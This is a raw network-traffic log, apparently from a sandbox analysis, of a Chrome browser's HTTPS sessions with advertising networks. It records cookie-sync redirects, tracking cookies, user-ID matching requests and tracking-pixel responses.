TapAd_3WAY_SYNCS=
2024-04-27 22:42:28 UTC	1095	IN	HTTP/1.1 200 OK Date: Sat, 27 Apr 2024 22:42:28 GMT Strict-Transport-Security: max-age=31536000 Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-Mobile Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-WoW64 P3P: policyref="http://tapad-taptags.s3.amazonaws.com/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" Set-Cookie: TapAd_TS=1714257737362;Expires=Wed, 26 Jun 2024 22:42:28 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Set-Cookie: TapAd_DID=da33c8c4-591f-41d2-a1ee-393c2b417291;Expires=Wed, 26 Jun 2024 22:42:28 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Set-Cookie: TapAd_3WAY_SYNCS=;Expires=Wed, 26 Jun 2024 22:42:28 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Content-Type: image/png Content-Length: 95 Server: Jetty(11.0.13) Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-27 22:42:28 UTC	95	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 00 00 00 a7 7a 3d da 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 0a 49 44 41 54 08 d7 63 60 00 00 00 02 00 01 e2 21 bc 33 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR%VPLTEz=tRNS@fIDATc`!3IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
569	192.168.2.4	50458	68.67.160.76	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:28 UTC	1292	OUT	GET /getuid?https://us-u.openx.net/w/1.0/sd?id=537072399&val=$UID HTTP/1.1 Host: ib.adnxs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://us-u.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XANDR_PANID=3_kdcFG2MD1Iuq9CVgb7VR-1lmG5ItmyjzbJvetw9CfEFyFBW1QGIhAdKDk_MxJpRKyUxABh8k8vzLSqeZaGKytscrCRvXVID4i5JFAzoLw.; receive-cookie-deprecation=1; uuid2=1476058396850158061; anj=dTM7k!M40fQBY/ghqdmU(5>$s-@N.!]tbd8i_iqf!oN/@E'zz<Z0QX==UQY(rU)FDKuB8DcBa)b[$gbSLJ>x3hkYTD._Pl[h>oaUgZoTtsCtGRU>4cvysk2:ZmubSk?6MeqS^-FI0#cZ(FoyfsFT>ikG4ulGn6bxFST=xI#<ZFPsXH%!(V'q'OLN2; uids=eyJ0ZW1wVUlEcyI6eyJydWJpY29uIjp7InVpZCI6IkxWSU9TQTFXLTctNkRDTSIsImV4cGlyZXMiOiIyMDI0LTA3LTI2VDIyOjQyOjE2WiJ9LCJ0cmlwbGVsaWZ0X25hdGl2ZSI6eyJ1aWQiOiI0Mzk0MTcxMTA5NTA3NDM3NDUxODAxIiwiZXhwaXJlcyI6IjIwMjQtMDctMjZUMjI6NDI6MjJaIn19LCJiaXJ0aGRheSI6IjIwMjQtMDQtMjdUMjI6NDI6MTZaIn0=
2024-04-27 22:42:28 UTC	1433	IN	HTTP/1.1 302 Found Server: nginx/1.23.4 Date: Sat, 27 Apr 2024 22:42:28 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Location: https://us-u.openx.net/w/1.0/sd?id=537072399&val=1476058396850158061 AN-X-Request-Uuid: ff1bd799-1218-4fbe-942b-879d5a6b0866 Set-Cookie: XANDR_PANID=3_kdcFG2MD1Iuq9CVgb7VR-1lmG5ItmyjzbJvetw9CfEFyFBW1QGIhAdKDk_MxJpRKyUxABh8k8vzLSqeZaGKytscrCRvXVID4i5JFAzoLw.; SameSite=None; Path=/; Max-Age=7776000; Expires=Fri, 26-Jul-2024 22:42:28 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Sat, 15-Apr-2034 22:42:28 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=1476058396850158061; SameSite=None; Path=/; Max-Age=7776000; Expires=Fri, 26-Jul-2024 22:42:28 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 149.18.24.69; 149.18.24.69; 678.bm-nginx-loadbalancer.mgmt.nym2.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
570	192.168.2.4	50459	104.18.24.173	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:28 UTC	857	OUT	GET /i.match?p=b11&redirect=https%3A//simage2.pubmatic.com/AdServer/Pug%3Fvcode%3Dbz0yJnR5cGU9MSZjb2RlPTMzMjYmdGw9MTI5NjAw%26piggybackCookie%3D%24TF_USER_ID_ENC%24&u=${PUBMATIC_UID} HTTP/1.1 Host: a.tribalfusion.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:28 UTC	937	IN	HTTP/1.1 302 Found Date: Sat, 27 Apr 2024 22:42:28 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close P3P: CP="NOI DEVo TAIa OUR BUS" X-Function: 206 X-Reuse-Index: 3606 Cache-Control: no-cache Cache-Control: private Expires: Thu, 01 Jan 1970 00:00:00 GMT Pragma: no-cache Set-Cookie: ANON_ID=a0noeUS3n0wryoxFoAZaRZcxVUJx49XLia2uw2sOxZa; path=/; domain=.tribalfusion.com; expires=Fri, 26-Jul-2024 22:42:28 GMT; SameSite=None; Secure; Set-Cookie: ANON_ID_old=a0noeUS3n0wryoxFoAZaRZcxVUJx49XLia2uw2sOxZa; path=/; domain=.tribalfusion.com; expires=Fri, 26-Jul-2024 22:42:28 GMT; Location: https://s.tribalfusion.com/z/i.match?p=b11&redirect=https%3A//simage2.pubmatic.com/AdServer/Pug%3Fvcode%3Dbz0yJnR5cGU9MSZjb2RlPTMzMjYmdGw9MTI5NjAw%26piggybackCookie%3D%24TF_USER_ID_ENC%24&u=${PUBMATIC_UID} CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 87b25371fdb42d23-IAD alt-svc: h3=":443"; ma=86400
2024-04-27 22:42:28 UTC	42	IN	Data Raw: 32 34 0d 0a 3c 68 31 3e 45 72 72 6f 72 20 33 30 32 20 4d 6f 76 65 64 20 54 65 6d 70 6f 72 61 72 69 6c 79 3c 2f 68 31 3e 0d 0a Data Ascii: 24<h1>Error 302 Moved Temporarily</h1>
2024-04-27 22:42:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
571	192.168.2.4	50468	8.2.111.13	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:28 UTC	917	OUT	GET /e6130557b1b000792deef390abb43b4f.gif?puid=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B&redir=https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM2MTgmdGw9MjAxNjA=&piggybackCookie=[UID]&gdpr=0&gdpr_consent=&ccpa=[CCPA]&coppa=[COPPA] HTTP/1.1 Host: cs.iqzone.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:28 UTC	98	IN	HTTP/1.1 204 No Content Server: nginx Date: Sat, 27 Apr 2024 22:42:28 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
572	192.168.2.4	50475	38.68.201.140	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:28 UTC	604	OUT	GET /sn.ashx?&gdpr=0&gdpr_consent= HTTP/1.1 Host: pmp.mxptint.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:28 UTC	720	IN	HTTP/1.1 302 Found Cache-Control: private Content-Type: text/html; charset=utf-8 Location: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9Mjc0NCZ0bD0xNTc2ODAw&piggybackCookie=R35CAB_114A73EA8_487A83AC&r=https://pmp.mxptint.net/sn.ashx?ak=1 P3P: CP="NON CUR ADM DEVo PSAo PSDo OUR IND UNI COM NAV DEM STA PRE" P3P: CP="NON CUR ADM DEVo PSAo PSDo OUR IND UNI COM NAV DEM STA PRE" Set-Cookie: mxpim=R35CAB_114A73EA8_487A83AC.1.0000000000000000662D7F54; domain=mxptint.net; expires=Mon, 27-Apr-2026 22:42:28 GMT; path=/; secure; SameSite=None Date: Sat, 27 Apr 2024 22:42:28 GMT Connection: close Content-Length: 302 Strict-Transport-Security: max-age=-397262548; includeSubDomains
2024-04-27 22:42:28 UTC	302	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 69 6d 61 67 65 32 2e 70 75 62 6d 61 74 69 63 2e 63 6f 6d 2f 41 64 53 65 72 76 65 72 2f 50 75 67 3f 76 63 6f 64 65 3d 62 7a 30 79 4a 6e 52 35 63 47 55 39 4d 53 5a 71 63 7a 30 78 4a 6d 4e 76 5a 47 55 39 4d 6a 63 30 4e 43 5a 30 62 44 30 78 4e 54 63 32 4f 44 41 77 26 61 6d 70 3b 70 69 67 67 79 62 61 63 6b 43 6f 6f 6b 69 65 3d 52 33 35 43 41 42 5f 31 31 34 41 37 33 45 41 38 5f 34 38 37 41 38 33 41 43 26 61 6d 70 3b 72 3d 68 74 74 70 73 3a 2f 2f 70 6d 70 2e 6d 78 70 74 69 6e 74 2e 6e 65 74 Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9Mjc0NCZ0bD0xNTc2ODAw&piggybackCookie=R35CAB_114A73EA8_487A83AC&r=https://pmp.mxptint.net

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
573	192.168.2.4	50470	52.23.141.19	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:28 UTC	648	OUT	GET /sync?pid=187&uid=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B&gdpr=0&gdpr_consent= HTTP/1.1 Host: sync.bfmio.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:28 UTC	73	IN	HTTP/1.1 204 Date: Sat, 27 Apr 2024 22:42:28 GMT Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
574	192.168.2.4	50471	35.186.193.173	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:28 UTC	813	OUT	GET /int/cm?exc=14&redir=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MTEmdGw9MjAxNjA=&piggybackCookie=[user_id] HTTP/1.1 Host: ipac.ctnsnet.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:28 UTC	475	IN	HTTP/1.1 200 P3P: CP="NOI DSP COR NID CUR OUR NOR" Set-Cookie: cid_16c2eac2f770457ab2c0ff6ce88c55f6=1; path=/; domain=.ctnsnet.com; expires=Sun, 27 Apr 2025 22:42:28 GMT; Secure; SameSite=None; Pragma: no-cache Cache-Control: no-cache, must-revalidate Expires: Fri, 01 Jan 1990 00:00:00 GMT Content-Type: image/gif Content-Length: 43 Date: Sat, 27 Apr 2024 22:42:28 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-27 22:42:28 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 db df ef 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
575	192.168.2.4	50462	52.206.182.240	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:28 UTC	790	OUT	GET /redirectuser?sid=GET_SID_FROM_ZETA&gdpr=0&gdpr_consent=&us_privacy=1YNN&r=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dzeta_global_ssp%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Di%26uid%3DBUYERUID HTTP/1.1 Host: ssp.disqus.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:28 UTC	778	IN	HTTP/1.1 302 Found Date: Sat, 27 Apr 2024 22:42:28 GMT Content-Length: 0 Connection: close cache-control: no-store pragma: no-cache expires: 0 location: https://sync.1rx.io/usersync2/rmpssp?sub=zeta&gdpr=0&gdpr_consent=&us_privacy=1YNN&redir=https%3A%2F%2Fssp.disqus.com%2Fmatch%3Fbidder%3D37%26buyeruid%3D%5BRX_UUID%5D%26r%3DCid1YS01YzAyODA5NS05YzA1LTM2YTQtYjhlOS03YThhNDg0MjUyODgiBDFZTk4qjAFodHRwczovL3Bicy55YWhvby5jb20vc2V0dWlkP2JpZGRlcj16ZXRhX2dsb2JhbF9zc3AmZ2Rwcj0wJmdkcHJfY29uc2VudD0mZ3BwPURCQUEmZ3BwX3NpZD0tMSZmPWkmdWlkPXVhLTVjMDI4MDk1LTljMDUtMzZhNC1iOGU5LTdhOGE0ODQyNTI4ODICJRI4AQ== set-cookie: zeta-ssp-user-id=ua-5c028095-9c05-36a4-b8e9-7a8a48425288; Max-Age=31536000; Expires=Sun, 27 Apr 2025 22:42:28 GMT; Path=/; Domain=disqus.com; Secure; SameSite=None

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
576	192.168.2.4	50460	52.207.83.244	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:28 UTC	816	OUT	GET /pbmtc.gif?redir=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0xJnR5cGU9MSZjb2RlPTM0MzkmdGw9MTI5NjAw&piggybackCookie=$UID HTTP/1.1 Host: beacon.lynx.cognitivlabs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:28 UTC	337	IN	HTTP/1.1 302 Found Date: Sat, 27 Apr 2024 22:42:28 GMT Content-Length: 0 Connection: close Server: Kestrel Location: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0xJnR5cGU9MSZjb2RlPTM0MzkmdGw9MTI5NjAw&piggybackCookie=ea3aced0-34d7-4327-b2f9-871f86461e91&r=https://beacon.lynx.cognitivlabs.com/pbmtc.gif?puid=${PUBMATIC_UID}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
577	192.168.2.4	50455	3.213.112.36	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:28 UTC	615	OUT	GET /CookieSyncPubMatic&gdpr=0&gdpr_consent= HTTP/1.1 Host: rtb.adentifi.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:28 UTC	128	IN	HTTP/1.1 204 No Content Date: Sat, 27 Apr 2024 22:42:28 GMT Content-Type: text/plain Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
578	192.168.2.4	50466	69.90.254.78	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:28 UTC	695	OUT	GET /tum?umid=6 HTTP/1.1 Host: ums.acuityplatform.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:28 UTC	27	IN	HTTP/1.1 204 No Content

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
579	192.168.2.4	50472	174.137.133.32	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:28 UTC	854	OUT	GET /user-sync?zone=218872&t=image&r=https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM2MjgmdGw9MjE2MDA=&piggybackCookie={UID}&gdpr=0&gdpr_consent=&us_privacy= HTTP/1.1 Host: sync.adkernel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:28 UTC	144	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Sat, 27 Apr 2024 22:42:28 GMT Content-Length: 21 Connection: close Cache-Control: no-store
2024-04-27 22:42:28 UTC	21	IN	Data Raw: 7b 55 49 44 7d 20 6d 61 63 72 6f 20 6e 6f 74 20 66 6f 75 6e 64 Data Ascii: {UID} macro not found

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
580	192.168.2.4	50473	195.5.165.20	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:28 UTC	708	OUT	GET /cookiesync?gdpr=0&gdpr_consent= HTTP/1.1 Host: core.iprom.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:28 UTC	234	IN	HTTP/1.1 200 OK Vary: Accept-Encoding X-adserver-worker: komodo-03d4c915defc@version_1.7.3 Connection: close X-server-arch: v2 Content-Type: image/gif Content-Length: 43 X-core-time: 0ms Date: Sat, 27 Apr 2024 22:42:28 GMT
2024-04-27 22:42:28 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 db df ef 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
581	192.168.2.4	50474	23.88.86.2	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:28 UTC	814	OUT	GET /sync/pub?sid=161&suid=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0NDQmdGw9MjAxNjA=&piggybackCookie=$UID HTTP/1.1 Host: matching.truffle.bid Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:28 UTC	150	IN	HTTP/1.1 204 No Content Server: nginx/1.23.1 Date: Sat, 27 Apr 2024 22:42:28 GMT Connection: close Strict-Transport-Security: max-age=15768000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
582	192.168.2.4	50489	23.45.148.30	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:28 UTC	1101	OUT	GET /cksync.php?cs=1&type=zem&ovsid=pzXJ98G8FgkOH15Vlr4a HTTP/1.1 Host: contextual.media.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: usp_status=1; visitor-id=3572593249104590000V10; data-rk=1977432098227636774~~8; data-r=LVIOSA1W-7-6DCM~~1; data-pbs=setstatuscode~~1; data-so=2d729954-b637-472c-acf0-d931fcda5d4a~~8; data-mf=786797b7-bf38-456a-a874-4aad6fb5186b~~1; data-g=CAESEPKex8KgiD5UyK1lepusKL4~~8; data-o=0c862afa-665c-0e9e-22ac-a733d256e22a~~8; data-c=3a1484ea-90ac-4bdd-895c-934bad280353~~1; data-c-ts=1714257737; data-xu=o2ksvWLN1S0QKf5~~8; data-co=AAACDi8HYa-cRgMTW_ICAAAAAAA~~8
